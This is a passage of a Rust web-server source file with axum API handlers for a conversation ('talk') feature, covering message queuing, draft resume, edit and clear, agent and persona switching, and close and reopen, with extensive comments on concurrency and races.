9061    // claim lock. Without that one critical section, a second `/say` can see
9062    // the first request's claim as "busy" and append itself to the recovered
9063    // draft before the first request rejects it.
9064    let start = {
9065        let ui = Arc::clone(&ui);
9066        let id = id.clone();
9067        blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
9068    };
9069    let turn_guard = match start {
9070        TalkTurnStart::Claimed(turn_guard) => turn_guard,
9071        TalkTurnStart::Pending => {
9072            return Err(ApiError::conflict(
9073                "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
9074            ));
9075        }
9076        TalkTurnStart::Foreign => {
9077            return Err(ApiError::conflict(
9078                "a turn is already running in another process; try again when it has finished",
9079            ));
9080        }
9081        TalkTurnStart::Busy => {
9082            // A turn is already running: queue rather than refuse. See
9083            // `Ui::begin_talk_turn` and `talk::queue`.
9084            //
9085            // The queue write and the drain it may owe live inside the task
9086            // `tokio::spawn` hands to the runtime, for the same reason the
9087            // immediate path below puts `record` there: a dropped handler
9088            // future must not be able to land between a durable write and
9089            // the task that answers it. `blocking` runs its closure on
9090            // `spawn_blocking`, which finishes whether or not anyone is left
9091            // to receive its result - so a disconnect at the `.await` below
9092            // would otherwise leave the draft persisted and the reclaimed
9093            // `TalkTurnGuard` dropped on the floor, with no `drain_loop`
9094            // ever started and the queued text stranded until some later
9095            // `say` happened to pick it up. The caller's 202 travels back
9096            // over a `oneshot`, sent the moment the write lands.
9097            let (tx, rx) = tokio::sync::oneshot::channel();
9098            tokio::spawn({
9099                let ui = Arc::clone(&ui);
9100                let id = id.clone();
9101                let said = body.text.clone();
9102                let reply_to = body.reply_to.clone();
9103                async move {
9104                    let written = blocking({
9105                        let ui = Arc::clone(&ui);
9106                        let id = id.clone();
9107                        move || {
9108                            let mut talk = ui.talks.get(&id)?;
9109                            // A test-only stop point, right before the write
9110                            // an interleaving test needs to pin - see
9111                            // `BusyQueueGate`. `None` in every real server:
9112                            // the field only exists under `#[cfg(test)]`.
9113                            #[cfg(test)]
9114                            if let Some(gate) = ui
9115                                .busy_queue_gate
9116                                .lock()
9117                                .unwrap_or_else(PoisonError::into_inner)
9118                                .take()
9119                            {
9120                                let _ = gate.reached.send(());
9121                                let _ = gate.release.recv();
9122                            }
9123                            if let Err(error) = talk::queue_reply(
9124                                &mut talk,
9125                                &ui.talks,
9126                                &said,
9127                                attachments,
9128                                reply_to,
9129                            ) {
9130                                if let Ok(fresh) = ui.talks.get(&id) {
9131                                    if !fresh.status.open() {
9132                                        return Err(ApiError::conflict(format!(
9133                                            "talk {} is {} and takes no more turns",
9134                                            fresh.short(),
9135                                            fresh.status.as_str()
9136                                        )));
9137                                    }
9138                                }
9139                                return Err(
9140                                    if error.to_string().contains("invalid reply target") {
9141                                        ApiError::bad_request("invalid reply target")
9142                                    } else {
9143                                        ApiError::from(error)
9144                                    },
9145                                );
9146                            }
9147                            // The turn that looked busy a moment ago can have
9148                            // finished, found nothing to drain and given up the
9149                            // slot in the gap between that check and this write
9150                            // landing - see `drain_loop`'s own doc for the other
9151                            // half of why that gap would otherwise be able to
9152                            // open at all. Reclaiming the slot here, rather than
9153                            // trusting that whoever held it is still watching, is
9154                            // what stops the text just queued from being stranded
9155                            // until an unrelated future `say` happens to drain
9156                            // it.
9157                            let claim = match ui.begin_queued_talk_turn(&id)? {
9158                                Some(turn_guard) => {
9159                                    let (cfg, _) = Config::discover(&talk.repo, None)?;
9160                                    Some((talk.clone(), cfg, turn_guard))
9161                                }
9162                                None => None,
9163                            };
9164                            let thinking = ui.is_thinking(&id);
9165                            Ok((TalkView::new(talk, thinking, &ui), claim))
9166                        }
9167                    })
9168                    .await;
9169                    #[cfg(not(test))]
9170                    {
9171                        match written {
9172                            Ok((view, reclaimed)) => {
9173                                let launched = crate::consult::spawn_turn(&ui.talks, &id).await;
9174                                drop(reclaimed);
9175                                match launched {
9176                                    Ok(_) => { let _ = tx.send(Ok(view)); }
9177                                    Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
9178                                }
9179                            }
9180                            Err(error) => { let _ = tx.send(Err(error)); }
9181                        }
9182                    }
9183                    #[cfg(test)]
9184                    {
9185                    let (view, reclaimed) = match written {
9186                        Ok(pair) => pair,
9187                        Err(e) => {
9188                            // Nobody is listening if the handler's own future
9189                            // was already dropped - that is fine, nothing was
9190                            // persisted and there is no response left to carry
9191                            // this error to.
9192                            let _ = tx.send(Err(e));
9193                            return;
9194                        }
9195                    };
9196                    // If this fails, the caller is gone; the drain below still
9197                    // runs exactly as it would have for a caller that stayed.
9198                    let _ = tx.send(Ok(view));
9199                    if let Some((talk, cfg, turn_guard)) = reclaimed {
9200                        let talks = ui.talks.clone();
9201                        drain_loop(talk, talks, cfg, id, turn_guard).await;
9202                    }
9203                    }
9204                }
9205            });
9206            let view = rx
9207                .await
9208                .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
9209            return Ok((StatusCode::ACCEPTED, Json(view)));
9210        }
9211    };
9212
9213    let (talk, cfg) = {
9214        let ui = Arc::clone(&ui);
9215        let id = id.clone();
9216        blocking(move || {
9217            let talk = ui.talks.get(&id)?;
9218            let (cfg, _) = Config::discover(&talk.repo, None)?;
9219            Ok((talk, cfg))
9220        })
9221        .await?
9222    };
9223
9224    let talks = ui.talks.clone();
9225    // `record` runs *inside* the spawned task, rather than in this handler
9226    // followed by a separate `tokio::spawn` for `respond` - axum drops this
9227    // whole handler future outright on disconnect (see `TalkTurnGuard`'s
9228    // doc), and that drop can land at any `.await` this function makes,
9229    // including one that has already produced its result but not yet
9230    // resumed. A message could end up recorded on disk with the handler
9231    // future gone before it ever reached the `tokio::spawn` that would have
9232    // started the reply. `tokio::spawn` itself is a plain, synchronous call
9233    // that hands the whole future to the runtime as one unit - once made, no
9234    // later drop of *this* handler's own future (that call's return value is
9235    // never held onto here) can reach back in and stop it, so record and the
9236    // hand-off to `respond` are unconditionally atomic from the client's
9237    // point of view. The immediate response this handler owes the caller
9238    // travels back over a `oneshot`, sent the moment `record` succeeds.
9239    let (tx, rx) = tokio::sync::oneshot::channel();
9240    tokio::spawn({
9241        #[cfg(test)]
9242        let ui = Arc::clone(&ui);
9243        let talks = talks.clone();
9244        let id = id.clone();
9245        let said = body.text.clone();
9246        let reply_to = body.reply_to.clone();
9247        let mut talk = talk.clone();
9248        async move {
9249            let recorded = blocking({
9250                let talks = talks.clone();
9251                move || {
9252                    if let Err(error) =
9253                        talk::record_reply(&mut talk, &talks, &said, attachments, reply_to)
9254                    {
9255                        if let Ok(fresh) = talks.get(&talk.id) {
9256                            if !fresh.status.open() {
9257                                return Err(ApiError::conflict(format!(
9258                                    "talk {} is {} and takes no more turns",
9259                                    fresh.short(),
9260                                    fresh.status.as_str()
9261                                )));
9262                            }
9263                        }
9264                        return Err(if error.to_string().contains("invalid reply target") {
9265                            ApiError::bad_request("invalid reply target")
9266                        } else {
9267                            ApiError::from(error)
9268                        });
9269                    }
9270                    // `record` mutates `talk` in place to the freshly persisted
9271                    // state (status, pending, and the just-appended operator
9272                    // turn), so returning it here is equivalent to re-reading it
9273                    // from disk - without the extra round trip a re-read would
9274                    // need.
9275                    Ok((said.trim().to_owned(), talk))
9276                }
9277            })
9278            .await;
9279            let (text, talk) = match recorded {
9280                Ok(pair) => pair,
9281                Err(e) => {
9282                    // Nobody is listening if the handler's own future was
9283                    // already dropped - that is fine, there is no response
9284                    // left to carry this error to and nothing was persisted.
9285                    let _ = tx.send(Err(e));
9286                    return;
9287                }
9288            };
9289            #[cfg(not(test))]
9290            {
9291                let _ = (&cfg, &text);
9292                // The reservation becomes durable while this process still
9293                // holds the talk lease. The child waits for that lease; the
9294                // new UI sees its startup reservation immediately.
9295                let result = crate::consult::spawn_recorded_turn(
9296                    &talks, &id, talk.turns.len() - 1,
9297                ).await;
9298                drop(turn_guard);
9299                match result {
9300                    Ok(_) => { let _ = tx.send(Ok((talk, true))); }
9301                    Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
9302                }
9303            }
9304            #[cfg(test)]
9305            {
9306            let queued = talk.clone();
9307            let mut talk = talk;
9308            let thinking = ui.is_thinking(&id);
9309            // If this fails, the caller is gone; the turn still runs below
9310            // exactly as it would have for a caller that stayed connected.
9311            let _ = tx.send(Ok((queued, thinking)));
9312
9313            if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
9314                // `respond` records the failure in the transcript itself,
9315                // which is what the phone reads; this line is for the
9316                // operator's terminal.
9317                tracing::warn!("talk {id} turn failed: {e:#}");
9318            }
9319            // Anything `talk::queue` added while the turn above was running
9320            // is still owed an answer - see `drain_loop`.
9321            drain_loop(talk, talks, cfg, id, turn_guard).await;
9322            }
9323        }
9324    });
9325
9326    let (queued, thinking) = rx
9327        .await
9328        .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
9329
9330    // 202: the operator's message is recorded and a turn is running.
9331    Ok((
9332        StatusCode::ACCEPTED,
9333        Json(TalkView::new(queued, thinking, &ui)),
9334    ))
9335    }).await
9336}
9337
9338/// `POST /api/talks/{id}/pending/resume` promotes a persisted draft without
9339/// changing it. The turn guard is the same per-talk ownership `talk_say`
9340/// holds, so duplicate recovery clicks cannot resume the CLI session twice.
9341async fn talk_pending_resume(
9342    State(ui): State<Arc<Ui>>,
9343    Path(id): Path<String>,
9344) -> ApiResult<(StatusCode, Json<TalkView>)> {
9345    let admission = ui.begin_admission()?;
9346    admitted(admission, async move {
9347        let id = {
9348            let ui = Arc::clone(&ui);
9349            let asked = id.clone();
9350            blocking(move || resolve_talk(&ui.talks, &asked)).await?
9351        };
9352        let _publication = crate::consult::publication_guard(&ui.talks, &id)
9353            .await
9354            .map_err(ApiError::from)?;
9355        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9356            return Err(ApiError::conflict(
9357                "a talk turn is already running; the queued draft will be handled by it",
9358            ));
9359        };
9360        let (talk, cfg) = {
9361            let ui = Arc::clone(&ui);
9362            let id = id.clone();
9363            blocking(move || {
9364                let talk = ui.talks.get(&id)?;
9365                if !talk.status.open() {
9366                    return Err(ApiError::conflict(format!(
9367                        "talk {} is {} and takes no more turns",
9368                        talk.short(),
9369                        talk.status.as_str()
9370                    )));
9371                }
9372                if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
9373                    return Err(ApiError::conflict("there is no queued draft to resume"));
9374                }
9375                let (cfg, _) = Config::discover(&talk.repo, None)?;
9376                Ok((talk, cfg))
9377            })
9378            .await?
9379        };
9380        let view = TalkView::new(talk.clone(), true, &ui);
9381        let talks = ui.talks.clone();
9382        #[cfg(not(test))]
9383        detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
9384        #[cfg(test)]
9385        tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
9386        Ok((StatusCode::ACCEPTED, Json(view)))
9387    })
9388    .await
9389}
9390
9391/// Hand off an admitted draft while retaining the talk lease until its
9392/// detached startup reservation is durable.
9393#[cfg(not(test))]
9394async fn detach_talk_turn(
9395    _talk: Talk,
9396    talks: Talks,
9397    _cfg: Config,
9398    id: String,
9399    turn: TalkTurnGuard,
9400) -> ApiResult<()> {
9401    let launched = crate::consult::spawn_turn(&talks, &id).await;
9402    drop(turn);
9403    launched.map(|_| ()).map_err(ApiError::from)
9404}
9405
9406#[cfg(test)]
9407async fn drain_loop(talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
9408    drain_loop_started(talk, talks, cfg, id, turn, None).await;
9409}
9410
9411/// A settings response must not report idle while its claim is still held.
9412/// Wait until the first drain either releases the claim or promotes a draft.
9413/// The task owns the guard even if the HTTP handler is cancelled while waiting.
9414async fn settle_settings_turn(
9415    talk: Talk,
9416    talks: Talks,
9417    cfg: Config,
9418    id: String,
9419    turn: TalkTurnGuard,
9420    observed: u64,
9421) -> bool {
9422    if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
9423        let turns = Arc::clone(&turn.turns);
9424        let mut live = turns.lock().unwrap_or_else(PoisonError::into_inner);
9425        if live.queued.get(&id).copied().unwrap_or(0) == observed {
9426            // Release under the arrival lock; a later `/say` takes its own claim.
9427            turn.release(&mut live);
9428            return false;
9429        }
9430    }
9431    let (started, settled) = tokio::sync::oneshot::channel();
9432    tokio::spawn(drain_loop_started(
9433        talk,
9434        talks,
9435        cfg,
9436        id,
9437        turn,
9438        Some(started),
9439    ));
9440    settled.await.unwrap_or(false)
9441}
9442
9443#[cfg(not(test))]
9444async fn drain_loop_started(
9445    talk: Talk,
9446    talks: Talks,
9447    _cfg: Config,
9448    id: String,
9449    turn: TalkTurnGuard,
9450    started: Option<tokio::sync::oneshot::Sender<bool>>,
9451) {
9452    let pending = !talk.pending.is_empty() || !talk.pending_attachments.is_empty();
9453    let running = if pending {
9454        match crate::consult::spawn_turn(&talks, &id).await {
9455            Ok(_) => true,
9456            Err(error) => {
9457                tracing::warn!("talk {id}: could not launch draft worker: {error:#}");
9458                false
9459            }
9460        }
9461    } else {
9462        false
9463    };
9464    drop(turn);
9465    if let Some(started) = started {
9466        let _ = started.send(running);
9467    }
9468}
9469
9470// Existing in-process conversation tests exercise transcript/arrival ordering;
9471// real process-lifetime behavior is covered by the CLI integration tests.
9472#[cfg(test)]
9473async fn drain_loop_started(
9474    mut talk: Talk,
9475    talks: Talks,
9476    cfg: Config,
9477    id: String,
9478    turn: TalkTurnGuard,
9479    mut started: Option<tokio::sync::oneshot::Sender<bool>>,
9480) {
9481    let live_set = Arc::clone(&turn.turns);
9482    // `Option` rather than binding `turn` directly to a `_turn` that lives
9483    // for the whole function: releasing it has to happen by calling
9484    // `TalkTurnGuard::release` from inside the locked branch below, which
9485    // takes `self` by value. Left as a plain drop instead, `Drop` would still
9486    // remove the id - correctly, if this loop is ever left some other way -
9487    // but doing it there misses the lock this loop is already holding, which
9488    // is the exact gap `release` exists to close.
9489    let mut turn = Some(turn);
9490    loop {
9491        if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
9492            // The lease was taken over while a turn ran. Whatever is queued
9493            // stays a draft; running it here would race the new owner.
9494            tracing::warn!("talk {id} lost its turn lease; not draining further");
9495            let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9496            if let Some(turn) = turn.take() {
9497                turn.release(&mut live);
9498            }
9499            break;
9500        }
9501        // `talk::drain` takes the store lock and can write/rename the talk
9502        // file. Keep the turn mutex out of that synchronous work: it protects
9503        // every talk's in-memory claim, not this talk's disk operation.
9504        let observed = live_set
9505            .lock()
9506            .unwrap_or_else(PoisonError::into_inner)
9507            .queued
9508            .get(&id)
9509            .copied()
9510            .unwrap_or(0);
9511        let drained = blocking({
9512            let talks = talks.clone();
9513            move || {
9514                let result = talk::drain(&mut talk, &talks);
9515                Ok((talk, result))
9516            }
9517        })
9518        .await;
9519        let (next_talk, result) = match drained {
9520            Ok(drained) => drained,
9521            Err(e) => {
9522                tracing::warn!(
9523                    status = %e.status,
9524                    message = %e.message,
9525                    "talk {id} could not start queued-text drain"
9526                );
9527                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9528                turn.take()
9529                    .expect("held for the whole loop until released here")
9530                    .release(&mut live);
9531                break;
9532            }
9533        };
9534        talk = next_talk;
9535        let drained = match result {
9536            Ok(Some(drained)) => drained,
9537            Ok(None) => {
9538                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9539                if live.queued.get(&id).copied().unwrap_or(0) != observed {
9540                    continue;
9541                }
9542                turn.take()
9543                    .expect("held for the whole loop until released here")
9544                    .release(&mut live);
9545                break;
9546            }
9547            Err(e) => {
9548                tracing::warn!("talk {id} could not drain queued text: {e:#}");
9549                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9550                turn.take()
9551                    .expect("held for the whole loop until released here")
9552                    .release(&mut live);
9553                break;
9554            }
9555        };
9556        if let Some(started) = started.take() {
9557            let _ = started.send(true);
9558        }
9559        let responded = match turn.as_ref() {
9560            Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
9561            None => Err(anyhow::anyhow!("the turn guard was released")),
9562        };
9563        if let Err(e) = responded {
9564            tracing::warn!("talk {id} turn failed: {e:#}");
9565        }
9566    }
9567    drop(turn);
9568    if let Some(started) = started {
9569        let _ = started.send(false);
9570    }
9571}
9572
9573/// Clear a queued draft only if it remains exactly the one the caller saw.
9574async fn talk_pending_clear(
9575    State(ui): State<Arc<Ui>>,
9576    Path(id): Path<String>,
9577    body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
9578) -> ApiResult<Json<TalkView>> {
9579    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9580    blocking(move || {
9581        let id = resolve_talk(&ui.talks, &id)?;
9582        let mut talk = ui.talks.get(&id)?;
9583        if !talk.status.open() {
9584            return Err(ApiError::conflict(format!(
9585                "talk {} is {} and takes no more turns",
9586                talk.short(),
9587                talk.status.as_str()
9588            )));
9589        }
9590        if !talk::clear_pending_if_matches(
9591            &mut talk,
9592            &ui.talks,
9593            &body.expected_text,
9594            &body.expected_attachments,
9595        )? {
9596            return Err(ApiError::conflict(
9597                "queued message changed; reload it before clearing",
9598            ));
9599        }
9600        let thinking = ui.is_thinking(&talk.id);
9601        Ok(Json(TalkView::new(talk, thinking, &ui)))
9602    })
9603    .await
9604}
9605
9606/// Atomically edit a queued draft's text while preserving its attachments.
9607/// The snapshot fields make a concurrent queue or drain a conflict rather
9608/// than silently discarding either message.
9609async fn talk_pending_edit(
9610    State(ui): State<Arc<Ui>>,
9611    Path(id): Path<String>,
9612    body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
9613) -> ApiResult<Json<TalkView>> {
9614    let admission = ui.begin_admission()?;
9615    admitted(admission, async move {
9616        let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9617        let id = {
9618            let ui = Arc::clone(&ui);
9619            blocking(move || resolve_talk(&ui.talks, &id)).await?
9620        };
9621        let _publication = crate::consult::publication_guard(&ui.talks, &id)
9622            .await
9623            .map_err(ApiError::from)?;
9624        let (view, reclaimed) = blocking({
9625            let ui = Arc::clone(&ui);
9626            move || {
9627                let mut talk = ui.talks.get(&id)?;
9628                if !talk.status.open() {
9629                    return Err(ApiError::conflict(format!(
9630                        "talk {} is {} and takes no more turns",
9631                        talk.short(),
9632                        talk.status.as_str()
9633                    )));
9634                }
9635                if !talk::edit_pending_message(
9636                    &mut talk,
9637                    &ui.talks,
9638                    &body.text,
9639                    &body.expected_text,
9640                    &body.expected_attachments,
9641                    body.message,
9642                )? {
9643                    return Err(ApiError::conflict(
9644                        "queued message changed; reload it before editing",
9645                    ));
9646                }
9647                let claim = match ui.begin_queued_talk_turn(&id)? {
9648                    Some(turn_guard) => {
9649                        let (cfg, _) = Config::discover(&talk.repo, None)?;
9650                        Some((talk.clone(), cfg, id.clone(), turn_guard))
9651                    }
9652                    None => None,
9653                };
9654                let thinking = ui.is_thinking(&id);
9655                Ok((TalkView::new(talk, thinking, &ui), claim))
9656            }
9657        })
9658        .await?;
9659        if let Some((talk, cfg, id, turn_guard)) = reclaimed {
9660            let talks = ui.talks.clone();
9661            #[cfg(not(test))]
9662            detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
9663            #[cfg(test)]
9664            tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
9665        }
9666        Ok(Json(view))
9667    })
9668    .await
9669}
9670
9671/// The 409 for a talk that takes no more turns.
9672fn refuse_if_closed(talk: &Talk) -> ApiResult<()> {
9673    if talk.status.open() {
9674        return Ok(());
9675    }
9676    Err(ApiError::conflict(format!(
9677        "talk {} is {} and takes no more turns",
9678        talk.short(),
9679        talk.status.as_str()
9680    )))
9681}
9682
9683/// The body of `POST /api/talks/{id}/agent`.
9684#[derive(Debug, Deserialize)]
9685struct TalkAgent {
9686    agent: String,
9687}
9688
9689/// `POST /api/talks/{id}/agent` - hand the conversation to another roster
9690/// agent. Holds the talk's turn guard for the whole switch so a `/say` cannot
9691/// start a turn on the old session between the check and the write; one that
9692/// arrives in that window finds the talk busy and becomes a draft.
9693async fn talk_agent(
9694    State(ui): State<Arc<Ui>>,
9695    Path(id): Path<String>,
9696    Json(body): Json<TalkAgent>,
9697) -> ApiResult<Json<TalkView>> {
9698    let admission = ui.begin_admission()?;
9699    admitted(admission, async move {
9700        let id = {
9701            let ui = Arc::clone(&ui);
9702            blocking(move || resolve_talk(&ui.talks, &id)).await?
9703        };
9704        let _publication = crate::consult::publication_guard(&ui.talks, &id)
9705            .await
9706            .map_err(ApiError::from)?;
9707        let repo = {
9708            let ui = Arc::clone(&ui);
9709            let id = id.clone();
9710            blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
9711        };
9712        let cfg = config_for(&repo).await?;
9713        // Refuse before taking the claim; see `talk_implementers`.
9714        {
9715            let ui = Arc::clone(&ui);
9716            let id = id.clone();
9717            let cfg = cfg.clone();
9718            let wanted = body.agent.clone();
9719            blocking(move || {
9720                agent::pick(&cfg.agents, Some(&wanted), &agent::installed)
9721                    .map_err(ApiError::bad_request_from)?;
9722                refuse_if_closed(&ui.talks.get(&id)?)
9723            })
9724            .await?;
9725        }
9726        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9727            return Err(ApiError::conflict(
9728                "a talk turn is running; change the agent once it has answered",
9729            ));
9730        };
9731        let switched = {
9732            let ui = Arc::clone(&ui);
9733            let id = id.clone();
9734            let cfg = cfg.clone();
9735            blocking(move || {
9736                let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
9737                    .map_err(ApiError::bad_request_from)?;
9738                let mut talk = ui.talks.get(&id)?;
9739                if !talk.status.open() {
9740                    return Err(ApiError::conflict(format!(
9741                        "talk {} is {} and takes no more turns",
9742                        talk.short(),
9743                        talk.status.as_str()
9744                    )));
9745                }
9746                talk::switch_agent(&mut talk, &ui.talks, &spec)?;
9747                Ok(talk)
9748            })
9749            .await
9750        };
9751        // A `/say` that landed while this held the claim saw the talk busy and
9752        // left a durable draft, trusting the claim's owner to drain it. So the
9753        // claim is settled whatever the outcome. Release an empty draft's claim
9754        // before replying; queued drafts continue independently of the handler.
9755        let observed = ui.queued_generation(&id);
9756        let fresh = {
9757            let ui = Arc::clone(&ui);
9758            let id = id.clone();
9759            blocking(move || Ok(ui.talks.get(&id)?)).await
9760        };
9761        let draining = match fresh {
9762            Ok(talk) => {
9763                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
9764            }
9765            Err(_) => false,
9766        };
9767        let talk = switched?;
9768        Ok(Json(TalkView::new(talk, draining, &ui)))
9769    })
9770    .await
9771}
9772
9773/// The body of `POST /api/talks/{id}/persona`.
9774#[derive(Debug, Deserialize)]
9775struct TalkPersona {
9776    persona: String,
9777}
9778
9779/// `POST /api/talks/{id}/persona` - choose the conversation's tone. Shaped
9780/// like [`talk_agent`]: the turn guard is held for the change and always handed
9781/// to `drain_loop`, so a draft left meanwhile is not stranded.
9782async fn talk_persona(
9783    State(ui): State<Arc<Ui>>,
9784    Path(id): Path<String>,
9785    Json(body): Json<TalkPersona>,
9786) -> ApiResult<Json<TalkView>> {
9787    let admission = ui.begin_admission()?;
9788    admitted(admission, async move {
9789        let id = {
9790            let ui = Arc::clone(&ui);
9791            blocking(move || resolve_talk(&ui.talks, &id)).await?
9792        };
9793        let _publication = crate::consult::publication_guard(&ui.talks, &id)
9794            .await
9795            .map_err(ApiError::from)?;
9796        let repo = {
9797            let ui = Arc::clone(&ui);
9798            let id = id.clone();
9799            blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
9800        };
9801        let cfg = config_for(&repo).await?;
9802        // Refuse before taking the claim; see `talk_implementers`.
9803        {
9804            let ui = Arc::clone(&ui);
9805            let id = id.clone();
9806            let cfg = cfg.clone();
9807            let wanted = body.persona.clone();
9808            blocking(move || {
9809                if persona::find(&cfg.talk.personas, &wanted).is_none() {
9810                    return Err(ApiError::bad_request(format!("unknown persona `{wanted}`")));
9811                }
9812                refuse_if_closed(&ui.talks.get(&id)?)
9813            })
9814            .await?;
9815        }
9816        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9817            return Err(ApiError::conflict(
9818                "a talk turn is running; change the persona once it has answered",
9819            ));
9820        };
9821        let switched = {
9822            let ui = Arc::clone(&ui);
9823            let id = id.clone();
9824            let cfg = cfg.clone();
9825            blocking(move || {
9826                let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
9827                    return Err(ApiError::bad_request(format!(
9828                        "unknown persona `{}`",
9829                        body.persona
9830                    )));
9831                };
9832                let mut talk = ui.talks.get(&id)?;
9833                if !talk.status.open() {
9834                    return Err(ApiError::conflict(format!(
9835                        "talk {} is {} and takes no more turns",
9836                        talk.short(),
9837                        talk.status.as_str()
9838                    )));
9839                }
9840                talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
9841                Ok(talk)
9842            })
9843            .await
9844        };
9845        // As in `talk_agent`: settle the claim before replying, even on refusal.
9846        let observed = ui.queued_generation(&id);
9847        let fresh = {
9848            let ui = Arc::clone(&ui);
9849            let id = id.clone();
9850            blocking(move || Ok(ui.talks.get(&id)?)).await
9851        };
9852        let draining = match fresh {
9853            Ok(talk) => {
9854                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
9855            }
9856            Err(_) => false,
9857        };
9858        let talk = switched?;
9859        Ok(Json(TalkView::new(talk, draining, &ui)))
9860    })
9861    .await
9862}
9863
9864/// The body of `POST /api/talks/{id}/implementers`.
9865#[derive(Debug, Deserialize)]
9866struct TalkImplementers {
9867    implementers: u8,
9868}
9869
9870/// `POST /api/talks/{id}/implementers` - choose how many implementers the tasks it files use (1 is Solo). Shaped
9871/// like [`talk_agent`]: the turn guard is held for the change and always handed
9872/// to `drain_loop`, so a draft left meanwhile is not stranded.
9873async fn talk_implementers(
9874    State(ui): State<Arc<Ui>>,
9875    Path(id): Path<String>,
9876    Json(body): Json<TalkImplementers>,
9877) -> ApiResult<Json<TalkView>> {
9878    let admission = ui.begin_admission()?;
9879    admitted(admission, async move {
9880        let id = {
9881            let ui = Arc::clone(&ui);
9882            blocking(move || resolve_talk(&ui.talks, &id)).await?
9883        };
9884        let _publication = crate::consult::publication_guard(&ui.talks, &id)
9885            .await
9886            .map_err(ApiError::from)?;
9887        let repo = {
9888            let ui = Arc::clone(&ui);
9889            let id = id.clone();
9890            blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
9891        };
9892        let cfg = config_for(&repo).await?;
9893        // Refuse a request that cannot succeed before taking the claim: a claim
9894        // taken for it is handed to `drain_loop`, which holds the talk busy for a
9895        // moment, so a refusal would make the next request see "busy" instead of
9896        // its own answer. The checks after the claim stay the ones that decide.
9897        {
9898            let ui = Arc::clone(&ui);
9899            let id = id.clone();
9900            let cfg = cfg.clone();
9901            let wanted = body.implementers;
9902            blocking(move || {
9903                talk::check_implementers(wanted, &cfg).map_err(ApiError::bad_request)?;
9904                refuse_if_closed(&ui.talks.get(&id)?)
9905            })
9906            .await?;
9907        }
9908        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9909            return Err(ApiError::conflict(
9910                "a talk turn is running; change the implementers once it has answered",
9911            ));
9912        };
9913        let switched = {
9914            let ui = Arc::clone(&ui);
9915            let id = id.clone();
9916            let cfg = cfg.clone();
9917            blocking(move || {
9918                let chosen = talk::check_implementers(body.implementers, &cfg)
9919                    .map_err(ApiError::bad_request)?;
9920                let mut talk = ui.talks.get(&id)?;
9921                if !talk.status.open() {
9922                    return Err(ApiError::conflict(format!(
9923                        "talk {} is {} and takes no more turns",
9924                        talk.short(),
9925                        talk.status.as_str()
9926                    )));
9927                }
9928                talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
9929                Ok(talk)
9930            })
9931            .await
9932        };
9933        // As in `talk_agent`: settle the claim before replying, even on refusal.
9934        let observed = ui.queued_generation(&id);
9935        let fresh = {
9936            let ui = Arc::clone(&ui);
9937            let id = id.clone();
9938            blocking(move || Ok(ui.talks.get(&id)?)).await
9939        };
9940        let draining = match fresh {
9941            Ok(talk) => {
9942                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
9943            }
9944            Err(_) => false,
9945        };
9946        let talk = switched?;
9947        Ok(Json(TalkView::new(talk, draining, &ui)))
9948    })
9949    .await
9950}
9951
9952/// `POST /api/talks/{id}/close`.
9953async fn talk_close(
9954    State(ui): State<Arc<Ui>>,
9955    Path(id): Path<String>,
9956) -> ApiResult<Json<TalkView>> {
9957    blocking(move || {
9958        let id = resolve_talk(&ui.talks, &id)?;
9959        let mut talk = ui.talks.get(&id)?;
9960        talk::close(&mut talk, &ui.talks)?;
9961        let thinking = ui.is_thinking(&talk.id);
9962        Ok(Json(TalkView::new(talk, thinking, &ui)))
9963    })
9964    .await
9965}
9966
9967/// `POST /api/talks/{id}/reopen`.
9968async fn talk_reopen(
9969    State(ui): State<Arc<Ui>>,
9970    Path(id): Path<String>,
9971) -> ApiResult<Json<TalkView>> {
9972    blocking(move || {
9973        let id = resolve_talk(&ui.talks, &id)?;
9974        let mut talk = ui.talks.get(&id)?;
9975        talk::reopen(&mut talk, &ui.talks)?;
9976        let thinking = ui.is_thinking(&talk.id);
9977        Ok(Json(TalkView::new(talk, thinking, &ui)))
9978    })
9979    .await
9980}
9981
9982/// `DELETE /api/talks/{id}`.
9983///
9984/// Removes the conversation's record and artifacts outright, unlike
9985/// [`talk_close`] which keeps the record as history. A turn already in
9986/// flight is not refused here the way [`run_delete`] refuses a live run:
9987/// [`talk::record`] and the tail of [`talk::turn`] check for themselves,
9988/// under [`Talks::guard`], that the record they are about to write back is
9989/// still there, so a delete racing a turn is safe without this route having
9990/// to know a turn is running at all.
